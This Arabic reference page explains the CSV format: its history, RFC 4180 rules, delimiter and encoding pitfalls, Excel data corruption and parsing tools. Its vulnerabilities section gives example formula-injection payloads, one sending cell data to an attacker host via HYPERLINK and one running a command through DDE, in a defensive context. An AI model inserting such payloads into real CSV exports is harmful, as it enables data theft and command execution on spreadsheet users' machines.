.CSV Comma-Separated Values
.csv

Comma-Separated Values

ملف CSV يُخزّن بيانات جدولية كنص عادي حيث تفصل الفواصل بين الحقول وتفصل أسطر جديدة بين السجلات. لا بايتات سحرية، لا ترميز مُعلن، لا أنواع أعمدة — بساطة جعلت CSV الصيغة الأكثر انتشاراً لتبادل البيانات، ومصدراً دائماً لمشاكل التوافق.

بنية الصيغة
الترويسة — صف الأعمدة
الفاصلة — محدّد الحقول
"..." — حقل مُقتبس
نصRFC 41801972
غير قابل للتحويل

التحويل غير متاح حالياً. تحويل CSV إلى Excel يتطلب محرك عرض جداول — ميزة مخططة لتحديث مستقبلي.

أسئلة شائعة

ما هو ملف CSV وكيف أفتحه؟

CSV (قيم مفصولة بفاصلة) صيغة نص عادي تُخزّن بيانات جدولية حيث تفصل الفواصل بين الحقول وتفصل أسطر جديدة بين السجلات. يمكن فتحه في أي محرر نصوص لعرض البيانات الخام. لعرض جدولي، استخدم Excel أو Google Sheets أو LibreOffice Calc — لكن احذر من استدلال الأنواع التلقائي الذي قد يُفسد البيانات.

لماذا يُغيّر Excel بياناتي عند فتح ملف CSV؟

Excel يُطبّق استدلالاً تلقائياً للأنواع بدون تحذير. يحذف الأصفار البادئة (01234 يصبح 1234)، يُحوّل الأرقام الطويلة لصيغة علمية (IBAN يصبح 1.23E+13)، ويُحوّل النصوص لتواريخ (MAR1 يصبح 1-Mar). الحل: استخدم Data > Get Data > From Text/CSV في Excel وحدد جميع الأعمدة الحساسة كنص قبل الاستيراد.

كيف أعرض النص العربي بشكل صحيح في ملف CSV؟

احفظ الملف بترميز UTF-8 مع BOM (بايتات EF BB BF في البداية). بدون BOM، يعتمد Excel على ترميز النظام المحلي مما يُفسد الأحرف العربية. في Python: افتح الملف بـ encoding='utf-8-sig' للقراءة والكتابة مع BOM. في Excel: اختر CSV UTF-8 عند الحفظ.

ما الفرق بين CSV وExcel (XLSX)؟

CSV نص عادي بدون أنواع أو تنسيق أو صيغ — أي محرر يمكنه قراءته. XLSX صيغة ثنائية (أرشيف ZIP من XML) تحفظ أنواع الأعمدة والتنسيق الشرطي والصيغ والرسوم البيانية وأوراق عمل متعددة. CSV أبسط وأكثر قابلية للنقل لكنه يخسر جميع معلومات البنية.

لماذا ملف CSV الفرنسي يستخدم فواصل منقوطة بدلاً من فواصل؟

في فرنسا وألمانيا ومعظم أوروبا، الفاصلة هي الفاصل العشري (3,14 بدلاً من 3.14). لتجنب التعارض، أمر حفظ كـ CSV في Excel يستخدم فاصل القائمة من إعدادات النظام — وهو الفاصلة المنقوطة في الإعدادات الأوروبية. لهذا السبب ملف CSV ليس بالضرورة مفصولاً بفواصل.

ما هو حقن CSV (CSV Injection) وكيف أحمي نفسي؟

حقن CSV يحدث عندما يبدأ حقل بـ = أو + أو - أو @ مما يجعل Excel يُنفّذه كصيغة. صيغة مثل =HYPERLINK() يمكنها تسريب بيانات الخلايا. للحماية: عند تصدير CSV من تطبيقك، أضف فاصلة عليا (') قبل الحقول التي تبدأ بهذه الأحرف. عند الاستيراد: استخدم مكتبات تحليل (Python csv) بدلاً من فتح الملف مباشرةً في Excel.

كيف أستورد CSV كبير (أكبر من مليون صف) لا يمكن لـ Excel فتحه؟

Excel يدعم 1,048,576 صفاً كحد أقصى. للملفات الأكبر: استخدم Python مع pandas (read_csv مع معلمة chunksize للمعالجة على دفعات)، أو csvsql لتشغيل استعلامات SQL مباشرةً على الملف، أو DuckDB للاستعلام العمودي السريع. xsv بلغة Rust يعالج ملفات بالغيغابايت بسرعة تفوق أدوات Python.

ما يميز .CSV

بلا مُخترع
RFC جاء بعد 30+ عاماً من انتشار الصيغة
CSV ظهرت عضوياً من تطبيقات مستقلة منذ السبعينيات. RFC 4180 لم يُنشر حتى 2005 — كـ RFC معلوماتي يصف الممارسة القائمة وليس معياراً يُعرّفها. هذا التأخر يُفسّر لماذا لدى CSV لهجات كثيرة غير متوافقة.
Excel يُدمّر بياناتك
الفتح والحفظ يكفي لإفساد IBAN والرموز البريدية
Excel يحذف الأصفار البادئة ويُحوّل الأرقام الطويلة لصيغة علمية والنصوص لتواريخ — بدون تحذير. أرقام IBAN السعودية (24 حرفاً) معرّضة بشكل خاص. الحل: استيراد عبر Data > Get Data وتحديد الأعمدة كنص.
فوضى المحدّدات
ملف CSV فرنسي يستخدم فواصل منقوطة وليس فواصل
في أوروبا الفاصلة هي الفاصل العشري (3,14)، لذا Excel يستخدم الفاصلة المنقوطة كمحدّد. "حفظ كـ CSV" يعتمد على إعدادات النظام المحلية وليس دائماً الفاصلة. ملف CSV ليس بالضرورة مفصولاً بفواصل.
ثقب الترميز الأسود
لا آلية لإعلان الترميز — كل مستهلك يُخمّن
CSV لا يملك طريقة لتحديد ترميزه. UTF-8 مع BOM ضروري لعرض النص العربي في Excel. بدون BOM، يعتمد Excel على ترميز النظام المحلي مما يُفسد الأحرف العربية والصينية.

صيغة بلا مُخترع

CSV لم يُخترعها شخص ولم تُعرّفها مؤسسة. ظهرت عضوياً من تطبيقات متعددة مستقلة. عام 1972 دعمت تطبيقات IBM Fortran إدخال/إخراج موجّه بالقوائم مفصول بفواصل. عام 1978 ظهرت في سياق نظام CP/M. عام 1987 انتشرت على نطاق واسع في تصدير قواعد بيانات MS-DOS مثل dBASE وLotus 1-2-3. لم يأتِ RFC 4180 حتى عام 2005 — بعد أكثر من 30 عاماً من انتشار CSV الفعلي. وهو RFC معلوماتي (ليس معياراً) يصف الممارسة القائمة بدلاً من تعريفها. هذا التأخر يُفسّر لماذا لدى CSV لهجات غير متوافقة كثيرة.

اكتشف التفاصيل التقنية

قواعد RFC 4180

كل سجل على سطر منفصل، منتهٍ بـ CRLF. الحقول مفصولة بفواصل. الحقول التي تحتوي فواصل أو علامات اقتباس مزدوجة أو فواصل أسطر يجب أن تُحاط بعلامات اقتباس مزدوجة. علامات الاقتباس المزدوجة داخل حقل مُقتبس تُهرّب بمضاعفتها (""). صف ترويسة اختياري قد يظهر كأول سطر. نوع MIME المُسجّل هو text/csv مع معلمات اختيارية charset وheader.

فوضى المحدّدات

رغم اسم "قيم مفصولة بفاصلة"، المحدّد يتغير حسب الإعدادات المحلية. في أمريكا وبريطانيا ومعظم الدول الناطقة بالإنجليزية: الفاصلة (,). في ألمانيا وفرنسا وإيطاليا وهولندا ومعظم أوروبا: الفاصلة المنقوطة (;) — لأن الفاصلة هي الفاصل العشري في هذه البلدان (مثلاً 3,14). Tab (\t) يُستخدم في TSV. Pipe (|) يُستخدم أحياناً في تصدير البيانات المؤسسية.

أمر "حفظ كـ CSV" في Excel يستخدم فاصل القائمة في إعدادات النظام (في لوحة التحكم على Windows) وليس دائماً الفاصلة. ملف "CSV" أنشأه Excel فرنسي يستخدم فواصل منقوطة. هذا يعني أن ملفات CSV ليست بالضرورة مفصولة بفواصل.

Excel يُدمّر بيانات CSV بصمت

فتح ملف CSV في Microsoft Excel يُفعّل استدلالاً تلقائياً للأنواع يُفسد البيانات بشكل لا رجعة فيه. الأصفار البادئة تُحذف: الرمز البريدي 01234 يصبح 1234 ورموز المنتجات وأرقام الهاتف تفقد أصفارها. الأرقام الكبيرة تُحوّل لصيغة علمية: أرقام IBAN وUPC والمراجع الطويلة مثل 12345678901234 تصبح 1.23457E+13. النصوص تُحوّل تلقائياً لتواريخ: MAR1 يصبح 1-Mar و1-2 يصبح Jan-2 وأسماء الجينات مثل SEPT7 تصبح 7-Sep. الصيغة العلمية 1E3 (نص) تصبح 1000 (رقم).

Excel يفحص أول 200 صف ويُعيّن أنواع البيانات بناءً على استدلال داخلي بدون تحذير للمستخدم. مجرد فتح ملف CSV وحفظه في Excel دون إجراء أي تغييرات يمكنه إفساد البيانات الأساسية. هذه المشكلة موثّقة على موقع دعم Microsoft وتُعدّ من أكثر مصادر فساد البيانات شيوعاً.

لا مخطط، لا أنواع، لا بيانات وصفية

CSV لا يحمل أي بيانات وصفية عن محتواه. لا توجد طريقة للإعلان عن أنواع الأعمدة أو الترميز أو المحدّد أو قواعد الاقتباس أو ما إذا كان صف ترويسة موجوداً. كل مستهلك يجب أن يُخمّن. هذا هو أكبر قوة لـ CSV (البساطة) وأكبر ضعف لها (الغموض) في آن واحد.

الترميز: ثقب أسود

CSV لا يملك آلية للإعلان عن ترميزه. الملف قد يكون UTF-8 أو Windows-1252 أو Shift-JIS أو أي شيء آخر، ولا توجد طريقة لمعرفة ذلك دون تخمين. RFC 4180 لا يُحدد ترميزاً. عملياً: ASCII كان الافتراض تاريخياً، وUTF-8 ينتشر بشكل متزايد، وWindows-1252 شائع في ملفات أنشأها Excel بإعدادات غربية.

للنص العربي في CSV، يُعدّ UTF-8 مع BOM (بايتات EF BB BF في البداية) ضرورياً لعرض Excel الصحيح. بدون BOM، يعتمد Excel على ترميز الإعدادات المحلية للنظام مما يُفسد الأحرف العربية. اتجاه النص من اليمين لليسار لا يُحفظ في CSV — يعتمد كلياً على التطبيق المُستهلك.

السياق السعودي

بوابة البيانات المفتوحة السعودية (data.gov.sa) تستضيف أكثر من 11,439 مجموعة بيانات من 289 جهة. CSV أحد صيغ التنزيل الأساسية إلى جانب JSON وXML. البيانات الحكومية تشمل الصحة والاقتصاد والتعليم والبيئة والعمل.

منصة البيانات المفتوحة لمؤسسة النقد العربي السعودي (ساما) توفر إحصاءات اقتصادية ومالية ونقدية قابلة للتنزيل بصيغتي CSV وExcel، يستخدمها الباحثون والصحفيون وشركات التقنية المالية.

أرقام IBAN السعودية (24 حرفاً، تبدأ بـ SA) معرّضة بشكل خاص لفساد الصيغة العلمية في Excel — نقطة ألم عملية لمستخدمي البنوك السعوديين الذين يتعاملون مع تصدير معاملات CSV. الحل: استخدم استيراد البيانات (Data > Get Data) في Excel بدلاً من الفتح المزدوج، وحدد العمود كنص.

RFC جاء بعد 30 عاماً

RFC 4180 نُشر في أكتوبر 2005 كـ RFC معلوماتي — ليس معياراً ملزماً. هذا غير عادي لـ RFC. المستند جاء بعد أكثر من 30 عاماً من انتشار CSV، ويصف الممارسة القائمة بدلاً من تعريفها. هذا التأخر يُفسّر لماذا لدى CSV لهجات كثيرة غير متوافقة — لم يكن هناك سلطة مرجعية عندما تطورت التطبيقات بشكل مستقل.

W3C نشرت في 2015 توصية CSV on the Web (CSVW) التي تُعرّف بيانات وصفية JSON-LD لملفات CSV — مُحدد وترميز وأنواع أعمدة — لكن التبني يبقى محدوداً خارج مبادرات البيانات المفتوحة الحكومية.

مقارنة .CSV مع البدائل

مقارنة .CSV مع الصيغ البديلة
المقارنة المعيار الفائز
.CSV vs .XLSX
حفظ أنواع البيانات
XLSX يُخزّن أنواع الأعمدة (نص، رقم، تاريخ) وقواعد التنسيق والصيغ. CSV يتعامل مع كل شيء كنص — لا أنواع ولا تنسيق ولا صيغ. فتح CSV في Excel يُفعّل استدلالاً تلقائياً للأنواع يُفسد البيانات.
XLSX أفضل
.CSV vs .JSON
البنية الهرمية
JSON يدعم البيانات المتداخلة والمصفوفات والكائنات. CSV مسطح — صفوف وأعمدة فقط. تمثيل علاقة واحد-لمتعدد في CSV يتطلب تكرار البيانات أو تسطيح البنية.
JSON أفضل
.CSV vs .SQL DUMP
البساطة
CSV يمكن فتحه وفهمه بأي محرر نصوص دون معرفة بأي لهجة قاعدة بيانات. تفريغات SQL تتطلب فهم صيغة المحرك المُحدد (MySQL مقابل PostgreSQL مقابل SQLite) وقد تحتوي منطقاً مُخزّناً معقداً.
CSV أفضل
.CSV vs .PARQUET
أداء الاستعلام على بيانات كبيرة
Parquet صيغة عمودية ثنائية تدعم ضغطاً فعالاً واستعلامات عمودية انتقائية. CSV يتطلب مسح الملف بالكامل لأي استعلام. لمجموعات البيانات بالغيغابايت، Parquet أسرع بمرتبة حجم.
PARQUET أفضل
.CSV vs .JSON
Human readability for tabular data
Tabular data in CSV aligns naturally in columns visible in any text editor. The same data in JSON repeats key names for every row and adds structural characters (braces, brackets, quotes), often tripling file size.
CSV أفضل

المرجع التقني

نوع MIME
text/csv
المطوّر
IBM (earliest usage)
سنة التقديم
1972
معيار مفتوح
نعم — عرض المواصفات

البنية الثنائية

CSV صيغة نصية بلا بنية ثنائية أو بايتات سحرية. الملف يبدأ مباشرةً بمحتوى نصي — صف ترويسة اختياري يُحدد أسماء الأعمدة يليه صفوف بيانات. الحقول مفصولة بفواصل (أو فواصل منقوطة حسب الإعدادات المحلية). الحقول التي تحتوي فواصل أو علامات اقتباس أو أسطر جديدة تُحاط بعلامات اقتباس مزدوجة. علامات الاقتباس داخل حقول مُقتبسة تُهرّب بمضاعفتها. نهايات الأسطر CRLF وفق RFC 4180 لكن LF وحده مقبول عالمياً. لا آلية لإعلان الترميز — UTF-8 مفترض بشكل متزايد. Excel قد يُقدّم بايتات BOM (EF BB BF) عند الحفظ كـ CSV UTF-8. PRONOM يُعرّف CSV كـ x-fmt/18 بالبادئة x-fmt/ التي تشير إلى صيغة بدون توقيع ثنائي.

1972تطبيقات IBM Fortran تدعم إدخال/إخراج موجّه بالقوائم مفصول بفواصل — أول استخدام مُوثّق لبيانات مفصولة بفواصل في الحوسبة1978CSV تظهر في سياق نظام التشغيل CP/M، تُستخدم لتبادل البيانات بين تطبيقات الحاسب المبكرة1987انتشار واسع في تصدير قواعد بيانات MS-DOS — dBASE وLotus 1-2-3 يستخدمان CSV كصيغة التبادل المعيارية1997Excel 97 يُرسّخ CSV كصيغة تصدير/استيراد افتراضية لبيانات الجداول، مع بدء مشاكل الاستدلال التلقائي للأنواع2005RFC 4180 يُنشر كـ RFC معلوماتي — بعد 30+ عاماً من انتشار CSV — يصف الممارسة القائمة ويُسجّل نوع MIME text/csv2014RFC 7111 يُوسّع RFC 4180 بمُعرّفات أجزاء URI لتحديد صفوف وأعمدة وخلايا محددة داخل ملف CSV2015W3C تنشر توصية CSV on the Web (CSVW) — بيانات وصفية JSON-LD لملفات CSV تُحدد المحدّد والترميز وأنواع الأعمدة
تحليل CSV بأمان باستخدام Python أخرى
python3 -c "import csv; r=csv.reader(open('data.csv')); [print(row) for row in r]"

يقرأ CSV باستخدام وحدة csv المُدمجة في Python التي تتعامل مع الحقول المُقتبسة ونهايات الأسطر داخل الحقول والفواصل المهرّبة بشكل صحيح وفق RFC 4180. جميع القيم سلاسل نصية — لا استدلال أنواع (على عكس Excel).

عرض CSV كجدول منسّق في الطرفية أخرى
csvlook data.csv

يُحوّل CSV إلى جدول ASCII منسّق في الطرفية. جزء من مجموعة csvkit التي تتضمن أيضاً csvsql (استعلامات SQL على CSV) وcsvstat (إحصاءات الأعمدة) وcsvgrep (مطابقة أنماط). التثبيت: pip install csvkit.

استخراج أعمدة محددة من CSV أخرى
csvcut -c 1,3 data.csv

يستخرج العمودين الأول والثالث من ملف CSV. csvcut يتعامل مع الحقول المُقتبسة بشكل صحيح بخلاف awk الذي يفشل مع الحقول التي تحتوي فواصل داخل علامات اقتباس.

تحويل CSV إلى JSON أخرى
csvjson data.csv > output.json

يُحوّل CSV إلى مصفوفة كائنات JSON حيث يصبح كل صف كائناً بمفاتيح من صف الترويسة. جزء من csvkit. مفيد لتغذية بيانات CSV في واجهات REST أو أدوات معالجة JSON.

تشغيل استعلام SQL على ملف CSV أخرى
csvsql --query 'SELECT name, age FROM data WHERE age > 30' data.csv

يُنشئ قاعدة بيانات SQLite مؤقتة من CSV ويُنفّذ استعلام SQL عليها. يسمح بالتجميع والترتيب والتصفية دون استيراد البيانات يدوياً في قاعدة بيانات.

التحويل غير متاح حالياً. تحويل CSV إلى Excel يتطلب محرك عرض جداول — ميزة مخططة لتحديث مستقبلي.

منخفض

نقاط الضعف

  • حقن صيغ جداول البيانات (CSV Injection) — حقل يبدأ بـ = أو + أو - أو @ يُنفّذ كصيغة عند فتحه في Excel أو Google Sheets. صيغة مثل =HYPERLINK("http://attacker.com/"&A1) تُسرّب محتوى الخلايا لخادم المهاجم.
  • تسريب بيانات عبر DDE — حقل يحتوي =cmd|'/C calc'!A1 يُنفّذ أوامر نظام عبر Dynamic Data Exchange في إصدارات Excel القديمة التي لا تُعطّل DDE افتراضياً.
  • فساد بيانات صامت — Excel يُغيّر أنواع البيانات (أصفار بادئة، صيغة علمية، نص إلى تاريخ) بدون تحذير عند فتح CSV، مما قد يُفسد IBAN وأرقام هاتف وبيانات علمية.
  • تسميم البيانات — ملف CSV من مصدر غير موثوق قد يحتوي صفوفاً مُصمّمة لإفساد نماذج تعلم آلي أو تحليلات إحصائية عند استيرادها دون تحقق.

الحماية: FileDex لا يفتح أو يُنفّذ أو يعالج ملفات CSV. هذه صفحة مرجعية فقط. عند التعامل مع CSV غير موثوق، استخدم مكتبات تحليل (Python csv، csvkit) بدلاً من فتحه مباشرةً في Excel.

csvkit أداة
مجموعة أدوات سطر أوامر Python لتحليل CSV — تتضمن csvlook للعرض وcsvsql للاستعلام وcsvstat للإحصاءات وcsvgrep للبحث وcsvjoin للربط بين ملفات
pandas مكتبة
مكتبة Python لتحليل البيانات — read_csv() تقرأ CSV مع تحكم كامل بالمحدّد والترميز وأنواع الأعمدة ومعالجة القيم المفقودة
Papa Parse مكتبة
محلل CSV عالي الأداء لـ JavaScript يعمل في المتصفح وNode.js — يدعم البث والعاملين وتحليل RFC 4180 الكامل
Miller (mlr) أداة
أداة سطر أوامر لمعالجة بيانات منظمة — تدعم CSV وJSON وتوفر عمليات تجميع وترتيب وتصفية شبيهة بـ SQL على ملفات مسطحة
xsv أداة
أداة سطر أوامر سريعة بلغة Rust لتحليل CSV — فهرسة وبحث وإحصاءات وربط على ملفات بالغيغابايت بأداء يتجاوز أدوات Python
Google Sheets خدمة
Cloud spreadsheet that imports CSV with automatic delimiter detection and preserves text formatting better than Excel for most cases